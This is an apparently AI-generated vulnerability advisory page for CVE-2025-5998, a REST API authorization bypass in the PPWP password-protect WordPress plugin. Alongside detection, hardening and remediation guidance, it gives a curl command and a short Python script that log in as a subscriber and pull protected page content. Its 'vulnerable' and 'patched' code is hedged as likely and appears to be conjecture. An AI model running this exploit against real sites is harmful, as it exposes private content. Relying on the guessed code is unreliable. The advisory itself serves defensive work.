☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-5998

CVE-2025-5998 Insecure Direct Object Reference in Ppwp
📅 PUBLISHED: 2025-08-14 08:48 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-5998 is a vulnerability in the PPWP – Password Protect Pages WordPress plugin (version < 1.9.11). The plugin is designed to password-protect pages and posts, but due to a missing authorization check in the REST API, any authenticated user with Subscriber role or higher can bypass the password protection and view the protected content directly via REST API requests. This is a classic Insecure Direct Object Reference (IDOR) combined with Missing Authorization in the WordPress REST API context.

The vulnerability has a CVSS score of 6.5 (Medium) and is trivial to exploit. No special tools are required beyond a valid WordPress user account with Subscriber privileges. The plugin is widely used for membership sites, private content, and gated resources, making this a significant data exposure risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The supply chain risk is moderate: the plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of many WordPress sites. Users must ensure they are using the official plugin source and update promptly. No malicious code injection has been reported, but the missing authorization is a design flaw.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires a Subscriber account.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – The vulnerable component is the plugin itself.
  • Confidentiality (C): High (H) – All protected content is exposed.
  • Integrity (I): None (N) – No data modification.
  • Availability (A): None (N) – No denial of service.

CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation is easy but requires authentication. However, the impact is high for sites relying on password protection for sensitive content.

Deep Dive & Mechanics

The PPWP plugin adds a password protection layer to WordPress pages and posts. When a user visits a protected page, the plugin intercepts the request and displays a password form. After correct password entry, a session cookie is set, and the content is rendered.

The vulnerability lies in the WordPress REST API. The plugin fails to apply the same password protection logic to REST API endpoints. When a user with Subscriber role or higher makes a REST API request to fetch a protected page (e.g., /wp-json/wp/v2/pages/<ID>), the plugin does not check if the user has entered the correct password. Instead, it returns the full content of the page, including the protected body.

Root Cause: The plugin hooks into the_content filter to protect pages, but the REST API uses a different rendering pipeline (WP_REST_Posts_Controller::get_item) that does not trigger the same filter. The plugin developers did not override the REST API response to enforce password protection.

Attack Flow:

  1. Attacker registers or obtains a Subscriber account on the target WordPress site.
  2. Attacker identifies a protected page ID (e.g., via sitemap or enumeration).
  3. Attacker sends a GET request to /wp-json/wp/v2/pages/<ID> with authentication cookies.
  4. The REST API returns the full page content, bypassing the password form.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.9.11): The plugin likely uses a filter like:

add_filter( 'the_content', 'ppwp_protect_content' );

But does not hook into rest_prepare_post or rest_prepare_page.

Patched Code (version 1.9.11): The patch adds a check in the REST API response:

add_filter( 'rest_prepare_post', 'ppwp_rest_protect_content', 10, 3 );
function ppwp_rest_protect_content( $response, $post, $request ) {
    if ( ppwp_is_protected( $post->ID ) && ! ppwp_has_valid_password( $post->ID ) ) {
        $response->data['content']['rendered'] = ppwp_get_password_form();
    }
    return $response;
}

This ensures that protected posts return the password form instead of the content when accessed via REST API without a valid password.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site with PPWP plugin version < 1.9.11.
  • A user account with Subscriber role (or higher).
  • A protected page ID (e.g., 123).

Exploit Steps:

  1. Log in to WordPress as a Subscriber.
  2. Obtain a nonce or use cookie authentication.
  3. Send a REST API request:
curl -s -c cookies.txt -b cookies.txt \
  "https://target.com/wp-json/wp/v2/pages/123" \
  | jq '.content.rendered'
  1. The response will contain the full protected content.

Automated Exploit (Python):

import requests

target = "https://target.com"
page_id = 123
session = requests.Session()
# Login as subscriber
session.post(f"{target}/wp-login.php", data={
    "log": "subscriber_user",
    "pwd": "password123",
    "wp-submit": "Log In"
})
# Fetch protected page via REST API
resp = session.get(f"{target}/wp-json/wp/v2/pages/{page_id}")
print(resp.json()["content"]["rendered"])

Blue Team (Detection & Hardening)

Detection:

  • Monitor REST API requests to /wp-json/wp/v2/pages/ or /wp-json/wp/v2/posts/ from authenticated users with low privileges (Subscriber).
  • Look for unusual patterns: a Subscriber fetching many pages, especially pages known to be password-protected.
  • Use the Sigma rule below to detect exploitation attempts.

Hardening:

  • Immediately update PPWP to version 1.9.11 or later.
  • If immediate update is not possible, disable the REST API for non-admin users via a plugin or code snippet:
add_filter( 'rest_authentication_errors', function( $result ) {
    if ( ! current_user_can( 'edit_posts' ) ) {
        return new WP_Error( 'rest_forbidden', 'REST API restricted.', array( 'status' => 403 ) );
    }
    return $result;
});
  • Audit user roles and remove unnecessary Subscriber accounts.

Indicators of Compromise (IOCs)

  • Network: HTTP requests to /wp-json/wp/v2/pages/<ID> from authenticated sessions with low-privilege roles.
  • Logs: WordPress REST API logs showing WP_REST_Posts_Controller::get_item calls for protected pages by Subscriber users.
  • File: No file-based IOCs; this is a logic flaw.
  • Behavior: Subscriber accounts accessing content that should be password-protected.

Detection Engineering

YARA Rule

YARA RULE
CVE_2025_5998_PPWP_REST_Bypass
Detects PPWP plugin versions vulnerable to REST API password bypass
Reference: CVE-2025-5998
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
CVE-2025-5998 PPWP REST API Password Bypass
Detects exploitation attempts of CVE-2025-5998 where a low-privilege user accesses password-protected content via REST API.
Logsource: wordpress · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2025-5998 PPWP REST API Password Bypass Exploit
Protocol: HTTP · class: attempted-recon · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate:

  1. Update PPWP plugin to version 1.9.11 or later.
  2. If update is not possible, disable REST API for non-admin users as shown in Blue Team section.

Long-term:

  • Implement a Web Application Firewall (WAF) rule to block REST API requests to protected pages from low-privilege users.
  • Regularly audit user roles and remove unused accounts.
  • Monitor plugin changelogs and security advisories.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. All analysis is based on publicly available information. For further assistance, contact your Valters IT representative.

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 3 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-5998/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.